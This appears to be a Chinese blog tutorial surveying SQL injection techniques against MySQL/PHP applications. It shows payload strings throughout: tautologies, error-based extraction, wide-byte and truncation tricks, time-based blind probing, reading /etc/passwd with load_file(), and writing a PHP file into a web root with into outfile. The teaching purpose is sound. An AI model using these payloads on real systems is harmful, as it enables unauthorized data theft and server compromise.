美文网首页
浅谈sql注入

浅谈sql注入

作者: Whitehawk | 来源:发表于2018-10-30 08:29 被阅读0次

先看一个sql语句:

select * from admin where username='(此处为用户输入的数据)';

在没有任何过滤的情况下,如果用户输入:' or 1=1 --

这条语句就为:select * from admin where username='' or 1=1 --';

可见,语句执行永远为真。此时就进行了sql注入。

SQL注入有如下分类:

一、数字型注入

初始参数为:id=1

可以构造:id=1 or 1=1 (语句执行永远为真)

id=1 and 1=2 (语句执行永远为假)

id=1' (语句执行会出错)

数字型注入较为简单,而且一般在PHP,ASP等弱类型语言中存在,而对于Java,C#等强类型语言一般不存在。

二、字符型注入

字符型注入首先想到的是闭合单引号。

不难想到:id=1' and 1=2 --

-- 是注释后边的语句。

三、其他注入

sql注入其实可以说就是字符型注入和数字型注入。

还有一些常见的注入,如:

POST注入:注入字段在POST数据中。

Cookie注入:注入字段在Cookie字段中。

延时注入:使用数据库延时特性注入。

base64注入:注入字符串需要经过base64加密。

四、Mysql特性

mysql是一种数据库。

(1)三种注释:

#:注释从“#”字符到行尾。

--:注释“-- ”序列到行尾。注意:“-- ”后面要加一个空格。

/**/:注释/*  XXXX */中间的字符。

/**/注释存在一个特点:select id /*!55555,username*/ from users

语句正常执行。/*!55555,username*/的意思是若Mysql版本号高于或者等于5.55.55,语句将会被执行。如果“!”后面不加入版本号,将直接执行sql语句。

(2)mysql函数利用

load_file()函数读文件

读取文件,文件必须在服务器上,文件必须为绝对路径,必须有权限,文件容量小于         max_allowed_packet字节(默认为16MB,最大为1GB),如:

union select 1,load_file('/etc/passwd'),3,4,5,6 #

绕过单引号:union select 1,load_file(字符串转换为十六进制),3,4,5,6 #

union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 #   ascii码

into outfile写文件操作

必须持有权限,文件名为绝对路径。

如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'

绕过单引号:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'

concat 连接字符串

concat(user(),0x2c,database())

concat_ws(0x2c,user(),database())       0x2c是 逗号的16进制。

五、Mysql报错注入

(1)updatexml

select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

结果返回一个错误:'|5.1.50-community-log'

(2)extractvalue

select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));

结果返回一个错误:'|root@localhost'

(3)floor

select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b

结果返回:Duplicate entry '1root@localhost' for key 'group_key'

六、宽字节注入

如果PHP开启了魔术引号,就会将单引号,双引号,反斜杠和NULL字符加上反斜杠转义。

如:id='   会输出    \'

这时我们可以使用宽字节注入:id=%d5'     输出:誠'   注入成功。

我们将  誠 进行url编码:%d5%5c

而 \的url编码为:%5c   可见 ,繁体字将反斜杠吃掉了。这就是宽字节注入的原理。

七、长字符截断

原理很简单。

比如在数据库创建三个如下用户:

admin   (有三个空格)

admin     (有五个空格)

admin       (有七个空格)

三个用户名长度不一样,但是如果 查询admin用户名,三个用户名都会被查询到。

假设后台语句是:

select count(*) from users where username='admin' and password='******';

这是存在安全问题的,如果用户创建一个“admin          ”用户,即可轻易进入后台,著名的wordpress就被这样的方式攻击过。

八、延时注入

基于时间差异的盲注手段。延时注入需要用到sleep()函数。

如:select * from users where id = 1 and sleep(3)    #三秒后执行sql语句。

也可以判断是否存在注入:url+id=1 and sleep(3)  页面三秒左右打开,则存在注入。

通常 会采用和 if 函数 搭配使用,进行爆破字符串。

如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)

L的位置代表字符串的第几个字符,N代表ASCII码。

执行成功,则三秒左右返回页面,否则,和原来相同。

ps:坚持,努力,为梦想奋斗。

相关文章

  • 浅谈sql注入

    先看一个sql语句: select * from admin where username='(此处为用户输入的数...

  • 浅谈 -防SQL注入

    所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的S...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • 谈谈sql注入之语句构造手法(二)

    谈谈sql注入(一)谈谈sql注入(三)谈谈sql注入(四)SQL注入的手法相当灵活,在注入的时候会碰到很多意外的...

  • SQL注入三部曲-初级

    目录 什么是SQL注入SQL注入产生的原因SQL注入攻击方式如何进行SQL注入SQL注入三部曲 1.渗透攻防WEB...

网友评论

      本文标题:浅谈sql注入

      本文链接:https://www.haomeiwen.com/subject/flywtqtx.html